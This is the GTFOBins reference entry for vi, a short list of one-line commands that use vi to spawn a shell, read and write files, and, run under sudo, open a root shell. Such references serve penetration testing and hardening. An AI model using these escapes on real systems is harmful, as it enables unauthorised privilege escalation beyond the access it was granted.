GTFOBins.github.io/_gtfobins/vi.md
2018-12-18 14:04:05 +01:00

406 B

description functions
Modern Unix systems run [`vim`](/gtfobins/vim/) binary when `vi` is called.
shell file-write file-read sudo
code
vi -c ':!/bin/sh' /dev/null
code
vi :set shell=/bin/sh :shell
code
vi file_to_write iDATA ^[ w
code
vi file_to_read
code
sudo vi -c ':!/bin/sh' /dev/null